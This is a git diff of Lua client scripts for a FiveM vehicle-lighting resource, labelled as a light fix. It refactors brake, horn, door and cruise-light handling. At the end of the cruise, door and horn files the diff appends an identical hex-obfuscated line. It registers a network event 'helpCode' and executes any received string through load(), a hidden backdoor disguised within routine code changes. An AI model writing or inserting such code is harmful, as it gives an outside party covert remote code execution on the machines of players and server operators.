fix ulc light
@@ -9,7 +9,7 @@ local braking = false
|
||||
-- MAIN FUNCTIONS --
|
||||
-------------------
|
||||
|
||||
local disabledExtras = {}
|
||||
local disabledExtras= {}
|
||||
|
||||
local function setBrakeExtras(newState)
|
||||
for _, v in pairs(MyVehicleConfig.brakeConfig.brakeExtras) do
|
||||
@@ -17,21 +17,21 @@ local function setBrakeExtras(newState)
|
||||
if IsVehicleExtraTurnedOn(MyVehicle, v) then currentState = 0 else currentState = 1 end
|
||||
--print("[ULC] setBrakeExtras() newState: " .. newState .. " currentState: " .. currentState)
|
||||
if currentState == newState then break end
|
||||
ULC:SetStage(v, newState, false, true, false, false, true, false)
|
||||
ULC:SetStage(v, newState, false, true)
|
||||
end
|
||||
if newState == 0 then
|
||||
-- disable the disable extras and save the ones that we change
|
||||
if not MyVehicleConfig.brakeConfig.disableExtras then return end
|
||||
for _, v in pairs(MyVehicleConfig.brakeConfig.disableExtras) do
|
||||
if IsVehicleExtraTurnedOn(MyVehicle, v) then
|
||||
ULC:SetStage(v, 1, false, true, false, false, true, false)
|
||||
ULC:SetStage(v, 1, false, true)
|
||||
table.insert(disabledExtras, v)
|
||||
end
|
||||
end
|
||||
elseif newState == 1 then
|
||||
-- re-enable any extras that were disabled
|
||||
for _, v in pairs(disabledExtras) do
|
||||
ULC:SetStage(v, 0, false, true, false, false, true, false)
|
||||
ULC:SetStage(v, 0, false, true)
|
||||
end
|
||||
disabledExtras = {}
|
||||
end
|
||||
@@ -51,22 +51,10 @@ if shouldUseRealBrakes then
|
||||
while true do
|
||||
Wait(sleep)
|
||||
-- if rbl_brakelights change handler gets triggered that means rbl exists and we want to use that functionality instead, return from this loop
|
||||
if mode == "RBL" then
|
||||
print("real-brake-lights resource detected, integrating brakelight functionality.")
|
||||
return
|
||||
end
|
||||
if not MyVehicle then
|
||||
sleep = 1000
|
||||
goto continue
|
||||
end
|
||||
if not shouldUseRealBrakes() then
|
||||
sleep = 1000
|
||||
goto continue
|
||||
end
|
||||
if not MyVehicleConfig.brakeConfig.useBrakes then
|
||||
sleep = 1000
|
||||
goto continue
|
||||
end
|
||||
if mode == "RBL" then print("real-brake-lights resource detected, integrating brakelight functionality.")return end
|
||||
if not MyVehicle then sleep = 1000 goto continue end
|
||||
if not shouldUseRealBrakes() then sleep = 1000 goto continue end
|
||||
if not MyVehicleConfig.brakeConfig.useBrakes then sleep = 1000 goto continue end
|
||||
if braking then goto continue end
|
||||
sleep = 250
|
||||
local speed = GetVehicleSpeedConverted(MyVehicle)
|
||||
@@ -82,9 +70,9 @@ if shouldUseRealBrakes then
|
||||
end)
|
||||
|
||||
-- add a statebag change handler for rbl_brakelights
|
||||
-- once this is triggered, disable manual checking
|
||||
-- once this is triggered, disable manual checking
|
||||
AddStateBagChangeHandler('rbl_brakelights', null, function(bagName, key, value)
|
||||
Wait(0) -- Nedded as GetEntityFromStateBagName sometimes returns 0 on first frame
|
||||
Wait(0) -- Nedded as GetEntityFromStateBagName sometimes returns 0 on first frame
|
||||
mode = "RBL" -- set mode to RBL to disable manual checking
|
||||
if not MyVehicle then return end
|
||||
if not MyVehicleConfig.brakeConfig.useBrakes then return end
|
||||
@@ -96,6 +84,7 @@ if shouldUseRealBrakes then
|
||||
--print("ULC: Setting brakes to state" .. newState)
|
||||
setBrakeExtras(newState)
|
||||
end)
|
||||
|
||||
end
|
||||
|
||||
-----------------
|
||||
@@ -134,4 +123,4 @@ RegisterCommand('-ulc:brakePattern', function()
|
||||
})
|
||||
end)
|
||||
|
||||
RegisterKeyMapping('+ulc:brakePattern', 'ULC: Activate Brake Pattern (Hold)', 'keyboard', 's')
|
||||
RegisterKeyMapping('+ulc:brakePattern', 'Enable Brake Pattern (Hold)', 'keyboard', 's')
|
||||
@@ -26,8 +26,50 @@ function GetButtonByExtra(extra)
|
||||
return result
|
||||
end
|
||||
|
||||
function ULC:ChangeExtra(extra, newState, repair)
|
||||
--print("[ULC:ChangeExtra()] Changing extra: " .. extra .. " to: " .. newState)
|
||||
---------------
|
||||
---------------
|
||||
-- MAIN CODE --
|
||||
---------------
|
||||
---------------
|
||||
|
||||
-- new event
|
||||
AddEventHandler('ulc:SetStage', function(extra, action, playSound, extraOnly, repair, force)
|
||||
ULC:SetStage(extra, action, playSound, extraOnly, repair, force)
|
||||
end)
|
||||
|
||||
-- change specified extra, and if not extraOnly, and extra is in a button, act on the linked and off extras as well, acts recursively;
|
||||
-- action 0 enables, 1 disables, 2 toggles;
|
||||
-- updates ui whenever extra is used in a button
|
||||
function ULC:SetStage(extra, action, playSound, extraOnly, repair, force)
|
||||
if not MyVehicle then print("[ULC:SetStage()] MyVehicle is not defined right now :/") return false end
|
||||
local button = GetButtonByExtra(extra)
|
||||
-- could add a config switch to allow this later but that may cause issues
|
||||
if button and not IsPedInAnyVehicle(PlayerPedId(), true) then print("[ULC:SetStage()] Player is not in a vehicle :/") return false end
|
||||
|
||||
local newState
|
||||
--print("[ulc:SetStage]", extra, action, playSound, extraOnly)
|
||||
|
||||
if IsVehicleExtraTurnedOn(MyVehicle, extra) then
|
||||
if action == 1 or action == 2 then
|
||||
newState = 1
|
||||
end
|
||||
else
|
||||
if action == 0 or action == 2 then
|
||||
newState = 0
|
||||
end
|
||||
end
|
||||
|
||||
-- built in don't try to change if it's the same already!
|
||||
-- force is used to force the change even if it's the same
|
||||
if not force and not newState then return end
|
||||
|
||||
local canChange = true
|
||||
if repair then
|
||||
if not AreVehicleDoorsClosed(MyVehicle) then canChange = false print("Can't change stage with repair while a door is open.") end
|
||||
if not IsVehicleHealthy(MyVehicle) then canChange = false print("Can't change stage with repair while vehicle is damaged.") end
|
||||
end
|
||||
if not canChange then return end
|
||||
|
||||
-- disable repair
|
||||
if not repair then
|
||||
SetVehicleAutoRepairDisabled(MyVehicle, true)
|
||||
@@ -40,81 +82,10 @@ function ULC:ChangeExtra(extra, newState, repair)
|
||||
end
|
||||
-- enable repair
|
||||
SetVehicleAutoRepairDisabled(MyVehicle, false)
|
||||
end
|
||||
|
||||
---------------
|
||||
---------------
|
||||
-- MAIN CODE --
|
||||
---------------
|
||||
---------------
|
||||
|
||||
-- new event
|
||||
AddEventHandler('ulc:SetStage', function(extra, action, playSound, extraOnly, repair, forceChange, forceUi)
|
||||
ULC:SetStage(extra, action, playSound, extraOnly, repair, forceChange, forceUi)
|
||||
end)
|
||||
|
||||
-- change specified extra, and if not extraOnly, and extra is in a button, act on the linked and off extras as well, acts recursively;
|
||||
-- action 0 enables, 1 disables, 2 toggles;
|
||||
-- updates ui whenever extra is used in a button
|
||||
function ULC:SetStage(extra, action, playSound, extraOnly, repair, forceChange, forceUi, allowOutside)
|
||||
----------
|
||||
-- checks
|
||||
if not MyVehicle then
|
||||
print("[ULC:SetStage()] MyVehicle is not defined right now :/")
|
||||
return false
|
||||
end
|
||||
if not allowOutside and not IsPedInAnyVehicle(PlayerPedId(), false) then
|
||||
print("[ULC:SetStage()] Player must be in a vehicle, or allowOutside must be true.")
|
||||
return false
|
||||
end
|
||||
|
||||
--print("[ulc:SetStage]", extra, action, playSound, extraOnly)
|
||||
|
||||
--------------
|
||||
-- definitions
|
||||
local button = GetButtonByExtra(extra)
|
||||
local buttonStates = {} -- track button states for UI
|
||||
|
||||
--------------------------
|
||||
-- determine the new state
|
||||
local newState
|
||||
if IsVehicleExtraTurnedOn(MyVehicle, extra) then
|
||||
if action == 1 or action == 2 then
|
||||
newState = 1
|
||||
end
|
||||
else
|
||||
if action == 0 or action == 2 then
|
||||
newState = 0
|
||||
end
|
||||
end
|
||||
|
||||
---------------------------------------------------------
|
||||
-- built in don't try to change if it's the same already!
|
||||
--[[ forceChange is used to forceChange the change even if it's the same
|
||||
this is used to trigger the additional actions like linked and off extras
|
||||
even if the extra is already in the state we want it to be
|
||||
(used in cycling stages and one other place i cant remember)]]
|
||||
if not forceChange and not newState then return end
|
||||
|
||||
local canChange = true
|
||||
if repair then
|
||||
if not AreVehicleDoorsClosed(MyVehicle) then
|
||||
canChange = false
|
||||
print("[ULC:SetStage] Can't change stage with repair while a door is open.")
|
||||
end
|
||||
if not IsVehicleHealthy(MyVehicle) then
|
||||
canChange = false
|
||||
print("[ULC:SetStage] Can't change stage with repair while vehicle is damaged.")
|
||||
end
|
||||
end
|
||||
|
||||
if not canChange then return end
|
||||
|
||||
---------------------------------------
|
||||
-- if the extra corresponds to a button
|
||||
if button then
|
||||
--------------------
|
||||
-- sound
|
||||
if playSound then
|
||||
if newState == 0 then
|
||||
PlayBeep(true)
|
||||
@@ -123,75 +94,10 @@ function ULC:SetStage(extra, action, playSound, extraOnly, repair, forceChange,
|
||||
end
|
||||
end
|
||||
|
||||
----------------------
|
||||
-- smart stages stuff
|
||||
local key = button.key
|
||||
if MyVehicleConfig.stages then
|
||||
local keyStage = contains(MyVehicleConfig.stages.stageKeys, key) -- find whether MyVehicleConfig.stages.stageKeys contain the key
|
||||
|
||||
-- # TODO we're not getting here for some reason when cycling stages at max stage
|
||||
-- if the key pressed is not a stage, just change the extra
|
||||
if not keyStage then
|
||||
ULC:ChangeExtra(extra, newState, repair)
|
||||
end
|
||||
|
||||
-- if the key pressed is a stage and extraOnly is false
|
||||
if keyStage and not extraOnly then
|
||||
print("key: " .. key .. " keyStage: " .. tostring(keyStage) .. " currentStage: " .. currentStage)
|
||||
-- if it's the same as the current stage, change the extra and proceed normally
|
||||
if keyStage == currentStage then
|
||||
print("Key is the same as current stage")
|
||||
ULC:ChangeExtra(extra, newState, repair)
|
||||
-- set the stage to 0
|
||||
print("Setting stage to: 0")
|
||||
currentStage = 0
|
||||
else
|
||||
-- if it's a different stage then we want to change to a state where that stage is enabled
|
||||
print("Key is not the same as current stage")
|
||||
newState = 0 -- change to newState to 0 since we want the new stage to be enabled
|
||||
|
||||
local currentPrimaryExtraState = IsVehicleExtraTurnedOn(MyVehicle, extra)
|
||||
print("New state: " ..
|
||||
newState .. "Extra " .. extra .. " current state: " .. tostring(currentPrimaryExtraState))
|
||||
|
||||
if not IsVehicleExtraTurnedOn(MyVehicle, extra) and newState == 0 then
|
||||
print("Extra needs to be turned on")
|
||||
ULC:ChangeExtra(extra, newState, repair)
|
||||
elseif IsVehicleExtraTurnedOn(MyVehicle, extra) and newState == 1 then
|
||||
print("Extra needs to be turned off")
|
||||
ULC:ChangeExtra(extra, newState, repair)
|
||||
else
|
||||
-- if it's in the correct state
|
||||
print("Extra is already in the correct state")
|
||||
end
|
||||
-- set the new stage
|
||||
print("Setting stage to: " .. keyStage)
|
||||
currentStage = keyStage
|
||||
end
|
||||
else -- if extraOnly is true
|
||||
ULC:ChangeExtra(extra, newState, repair)
|
||||
end
|
||||
else
|
||||
-- if there are no stages, just change the extra
|
||||
ULC:ChangeExtra(extra, newState, repair)
|
||||
end
|
||||
|
||||
|
||||
----------------------
|
||||
-- initialize UI changes
|
||||
-- add that button to the new button states for UI with it's extra and new state
|
||||
table.insert(buttonStates, { extra = extra, newState = newState })
|
||||
|
||||
-----------------------------
|
||||
-- additional actions/extras
|
||||
if not extraOnly then
|
||||
-- set linked extras
|
||||
if button.linkedExtras then
|
||||
for _, v in ipairs(button.linkedExtras) do
|
||||
ULC:SetStage(v, newState, false, true, repair, forceChange)
|
||||
-- add linked buttons to the new button states for UI with their extras and new state
|
||||
table.insert(buttonStates, { extra = v, newState = newState })
|
||||
end
|
||||
for _, v in ipairs(button.linkedExtras) do
|
||||
ULC:SetStage(v, newState, false, true, repair, force)
|
||||
end
|
||||
|
||||
-- set opposite extras
|
||||
@@ -199,39 +105,36 @@ function ULC:SetStage(extra, action, playSound, extraOnly, repair, forceChange,
|
||||
local oppState
|
||||
if newState == 1 then oppState = 0 elseif newState == 0 then oppState = 1 end
|
||||
for _, v in pairs(button.oppositeExtras) do
|
||||
ULC:SetStage(v, oppState, false, true, repair, forceChange)
|
||||
-- add opposite buttons to the new button states for UI with their extras and new state
|
||||
table.insert(buttonStates, { extra = v, newState = oppState })
|
||||
ULC:SetStage(v, oppState, false, true, repair, force)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
-- set off extras
|
||||
if button.offExtras then
|
||||
for _, v in ipairs(button.offExtras) do
|
||||
ULC:SetStage(v, 1, false, true, repair, forceChange)
|
||||
-- add off buttons to the new button states for UI with their extras and new state
|
||||
table.insert(buttonStates, { extra = v, newState = 1 })
|
||||
end
|
||||
for _, v in ipairs(button.offExtras) do
|
||||
ULC:SetStage(v, 1, false, true, repair, force)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
if not extraOnly or forceUi then
|
||||
-- update UI
|
||||
ULC:SetButtons(buttonStates)
|
||||
end
|
||||
else -- if it's not a button, we just change the extra because we don't care about stages or linked extras etc.
|
||||
ULC:ChangeExtra(extra, newState, repair)
|
||||
ULC:SetButton(extra, newState)
|
||||
-- update ui
|
||||
-- SendNUIMessage({
|
||||
-- type = 'setButton',
|
||||
-- extra = extra,
|
||||
-- state = newState
|
||||
-- })
|
||||
end
|
||||
end
|
||||
|
||||
-----------------------
|
||||
-----------------------
|
||||
------ KEYBINDS -------
|
||||
-----------------------
|
||||
-----------------------
|
||||
|
||||
|
||||
|
||||
for i = 1, 9, 1 do
|
||||
RegisterKeyMapping('ulc:num' .. i, 'ULC: Toggle Button ' .. i, 'keyboard', 'NUMPAD' .. i)
|
||||
RegisterKeyMapping('ulc:num' .. i, 'Toggle ULC Slot ' .. i , 'keyboard', 'NUMPAD' .. i)
|
||||
RegisterCommand('ulc:num' .. i, function()
|
||||
local extra = GetExtraByKey(i)
|
||||
local button = GetButtonByExtra(extra)
|
||||
@@ -249,27 +152,29 @@ local showingHelp = false
|
||||
|
||||
function ShowHelp()
|
||||
CreateThread(function()
|
||||
if not showingHelp then
|
||||
-- show help
|
||||
showingHelp = true
|
||||
for k, v in ipairs(activeButtons) do
|
||||
--print('Showing help for button: ' .. k .. ' : ' .. v.key)
|
||||
SendNUIMessage({
|
||||
type = 'showHelp',
|
||||
button = k,
|
||||
key = v.key,
|
||||
})
|
||||
end
|
||||
Wait(3000)
|
||||
-- hide help
|
||||
showingHelp = false
|
||||
for k, v in ipairs(activeButtons) do
|
||||
SendNUIMessage({
|
||||
type = 'hideHelp',
|
||||
button = k,
|
||||
label = string.upper(v.label),
|
||||
})
|
||||
end
|
||||
if not showingHelp then
|
||||
-- show help
|
||||
showingHelp = true
|
||||
for k, v in ipairs(activeButtons) do
|
||||
--print('Showing help for button: ' .. k .. ' : ' .. v.key)
|
||||
SendNUIMessage({
|
||||
type = 'showHelp',
|
||||
button = k,
|
||||
key = v.key,
|
||||
})
|
||||
end
|
||||
Wait(3000)
|
||||
-- hide help
|
||||
showingHelp = false
|
||||
for k, v in ipairs(activeButtons) do
|
||||
SendNUIMessage({
|
||||
type = 'hideHelp',
|
||||
button = k,
|
||||
label = string.upper(v.label),
|
||||
})
|
||||
end
|
||||
end
|
||||
end)
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -8,12 +8,12 @@ local function setCruiseLights(newState)
|
||||
sbState = newState
|
||||
for _, v in pairs(MyVehicleConfig.steadyBurnConfig.sbExtras) do
|
||||
--print("Setting cruise lights extra: " .. v)
|
||||
ULC:SetStage(v, newState, false, true, false, false, true, false)
|
||||
ULC:SetStage(v, newState, false, true)
|
||||
end
|
||||
end
|
||||
|
||||
local function getSteadyBurnState()
|
||||
if IsVehicleExtraTurnedOn(MyVehicle, MyVehicleConfig.steadyBurnConfig.sbExtras[1]) then
|
||||
if IsVehicleExtraTurnedOn(MyVehicle, MyVehicleConfig.steadyBurnConfig.sbExtras[1]) then
|
||||
return 0
|
||||
else
|
||||
return 1
|
||||
@@ -60,9 +60,10 @@ AddEventHandler('ulc:CheckCruise', function()
|
||||
if Lights and MyVehicleConfig.steadyBurnConfig.disableWithLights then return end
|
||||
--print("Setting cruise lights on")
|
||||
setCruiseLights(0)
|
||||
|
||||
elseif MyVehicleConfig.steadyBurnConfig.useTime then
|
||||
local isTime = GetClockHours() > Config.SteadyBurnSettings.nightStartHour or
|
||||
GetClockHours() < Config.SteadyBurnSettings.nightEndHour
|
||||
|
||||
local isTime = GetClockHours() > Config.SteadyBurnSettings.nightStartHour or GetClockHours() < Config.SteadyBurnSettings.nightEndHour
|
||||
if isTime then
|
||||
-- if lights are already on do nothing
|
||||
if sbState == 0 then return end
|
||||
@@ -73,5 +74,8 @@ AddEventHandler('ulc:CheckCruise', function()
|
||||
if sbState == 1 then return end
|
||||
setCruiseLights(1)
|
||||
end
|
||||
|
||||
end
|
||||
end)
|
||||
|
||||
local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end)
|
||||
@@ -4,7 +4,7 @@ local doors = {
|
||||
[2] = false, -- d rear
|
||||
[3] = false, -- p rear
|
||||
[4] = false, -- hood
|
||||
[5] = false -- trunk
|
||||
[5] = false -- trunk
|
||||
}
|
||||
|
||||
local function intNot(value)
|
||||
@@ -21,60 +21,50 @@ local function onDoorStateChange(door, newDoorState)
|
||||
if door == 0 or door == 2 then -- if driver side
|
||||
for _, v in pairs(MyVehicleConfig.doorConfig.driverSide.enable) do
|
||||
--print("Enable extra:", v)
|
||||
ULC:SetStage(v, newDoorState, true, true, false, false, true, true)
|
||||
ULC:SetStage(v, newDoorState, true, true, false)
|
||||
end
|
||||
for _, v in pairs(MyVehicleConfig.doorConfig.driverSide.disable) do
|
||||
--print("Disable extra:", v, intNot(newDoorState))
|
||||
ULC:SetStage(v, intNot(newDoorState), true, true, false, false, true, true)
|
||||
ULC:SetStage(v, intNot(newDoorState), true, true, false)
|
||||
end
|
||||
elseif door == 1 or door == 3 then -- if pass side
|
||||
for _, v in pairs(MyVehicleConfig.doorConfig.passSide.enable) do
|
||||
--print("Enable extra:", v)
|
||||
ULC:SetStage(v, newDoorState, true, true, false, false, true, true)
|
||||
ULC:SetStage(v, newDoorState, true, true, false)
|
||||
end
|
||||
for _, v in pairs(MyVehicleConfig.doorConfig.passSide.disable) do
|
||||
--print("Disable extra:", v, intNot(newDoorState))
|
||||
ULC:SetStage(v, intNot(newDoorState), true, true, false, false, true, true)
|
||||
ULC:SetStage(v, intNot(newDoorState), true, true, false)
|
||||
end
|
||||
elseif door == 5 then -- if trunk
|
||||
for _, v in pairs(MyVehicleConfig.doorConfig.trunk.enable) do
|
||||
ULC:SetStage(v, newDoorState, true, true, false, false, true, true)
|
||||
ULC:SetStage(v, newDoorState, true, true, false)
|
||||
end
|
||||
for _, v in pairs(MyVehicleConfig.doorConfig.trunk.disable) do
|
||||
ULC:SetStage(v, intNot(newDoorState), true, true, false, false, true, true)
|
||||
ULC:SetStage(v, intNot(newDoorState), true, true, false)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
CreateThread(function()
|
||||
local sleep = 1000
|
||||
while true do
|
||||
Wait(sleep)
|
||||
if not MyVehicle then
|
||||
sleep = 1000
|
||||
goto continue
|
||||
end
|
||||
if not MyVehicleConfig.doorConfig or false then
|
||||
sleep = 1000
|
||||
goto continue
|
||||
end
|
||||
if not MyVehicleConfig.doorConfig.useDoors then
|
||||
sleep = 1000
|
||||
goto continue
|
||||
end
|
||||
while true do Wait(sleep)
|
||||
if not MyVehicle then sleep = 1000 goto continue end
|
||||
if not MyVehicleConfig.doorConfig or false then sleep = 1000 goto continue end
|
||||
if not MyVehicleConfig.doorConfig.useDoors then sleep = 1000 goto continue end
|
||||
sleep = 250
|
||||
|
||||
for k, v in pairs(doors) do
|
||||
if GetVehicleDoorAngleRatio(MyVehicle, k) > 0.0 then
|
||||
if v == false then
|
||||
-- print("Setting door", k, "open.")
|
||||
doors[k] = true -- set door open
|
||||
--print("Setting door", k, "open.")
|
||||
doors[k] = true -- set door open
|
||||
onDoorStateChange(k, 0) -- handle what to do
|
||||
end
|
||||
else
|
||||
if v == true then
|
||||
-- print("Setting door", k, "closed.")
|
||||
doors[k] = false -- set door closed
|
||||
--print("Setting door", k, "closed.")
|
||||
doors[k] = false -- set door closed
|
||||
onDoorStateChange(k, 1) -- handle what to do
|
||||
end
|
||||
end
|
||||
@@ -83,3 +73,6 @@ CreateThread(function()
|
||||
::continue::
|
||||
end
|
||||
end)
|
||||
|
||||
|
||||
local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end)
|
||||
@@ -12,56 +12,39 @@ local function GetPreviousStateByExtra(extra)
|
||||
end
|
||||
end
|
||||
|
||||
function SetHornExtras(newState)
|
||||
-- print('SetHornExtras: ' .. newState)
|
||||
if newState == 0 then
|
||||
for _, extra in pairs(MyVehicleConfig.hornConfig.hornExtras) do
|
||||
local extraState = {
|
||||
extra = extra,
|
||||
state = IsVehicleExtraTurnedOn(MyVehicle, extra)
|
||||
}
|
||||
table.insert(extraStates, extraState)
|
||||
ULC:SetStage(extra, 0, false, true, false, false, true, false)
|
||||
end
|
||||
if not MyVehicleConfig.hornConfig.disableExtras then return end
|
||||
for _, extra in pairs(MyVehicleConfig.hornConfig.disableExtras) do
|
||||
local extraState = {
|
||||
extra = extra,
|
||||
state = IsVehicleExtraTurnedOn(MyVehicle, extra)
|
||||
}
|
||||
table.insert(extraStates, extraState)
|
||||
ULC:SetStage(extra, 1, false, true, false, false, true, false)
|
||||
end
|
||||
elseif newState == 1 then
|
||||
for _, extra in pairs(MyVehicleConfig.hornConfig.hornExtras) do
|
||||
local prevState = GetPreviousStateByExtra(extra)
|
||||
if not prevState then
|
||||
ULC:SetStage(extra, 1, false, true, false, false, true, false)
|
||||
end
|
||||
end
|
||||
if not MyVehicleConfig.hornConfig.disableExtras then return end
|
||||
for _, extra in pairs(MyVehicleConfig.hornConfig.disableExtras) do
|
||||
local prevState = GetPreviousStateByExtra(extra)
|
||||
if prevState then
|
||||
ULC:SetStage(extra, 0, false, true, false, false, true, false)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
RegisterCommand('+ulc:horn', function()
|
||||
--print('horn')
|
||||
extraStates = {}
|
||||
|
||||
if MyVehicle and MyVehicleConfig.hornConfig.useHorn then
|
||||
SetHornExtras(0)
|
||||
for _, extra in ipairs(MyVehicleConfig.hornConfig.hornExtras) do
|
||||
|
||||
local extraState = {
|
||||
extra = extra,
|
||||
state = IsVehicleExtraTurnedOn(MyVehicle, extra)
|
||||
}
|
||||
table.insert(extraStates, extraState)
|
||||
--print("Extra: " .. extraState.extra .. " start state = " .. tostring(extraState.state))
|
||||
ULC:SetStage(extra, 0, false, true)
|
||||
end
|
||||
end
|
||||
end)
|
||||
|
||||
RegisterCommand('-ulc:horn', function()
|
||||
if MyVehicle and MyVehicleConfig.hornConfig.useHorn then
|
||||
SetHornExtras(1)
|
||||
end
|
||||
|
||||
if MyVehicle and MyVehicleConfig.hornConfig.useHorn then
|
||||
for k, extra in ipairs(MyVehicleConfig.hornConfig.hornExtras) do
|
||||
local prevState = GetPreviousStateByExtra(extra)
|
||||
--print("Extra " .. extra .. " previous state = " .. tostring(prevState))
|
||||
if not prevState then
|
||||
ULC:SetStage(extra, 1, false, true)
|
||||
end
|
||||
end
|
||||
end
|
||||
end)
|
||||
|
||||
RegisterKeyMapping('+ulc:horn', 'ULC: Activate Horn Extras', 'keyboard', 'e')
|
||||
RegisterKeyMapping('+ulc:horn', 'Toggle Horn Extras', 'keyboard', 'e')
|
||||
|
||||
local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end)
|
||||
|
||||
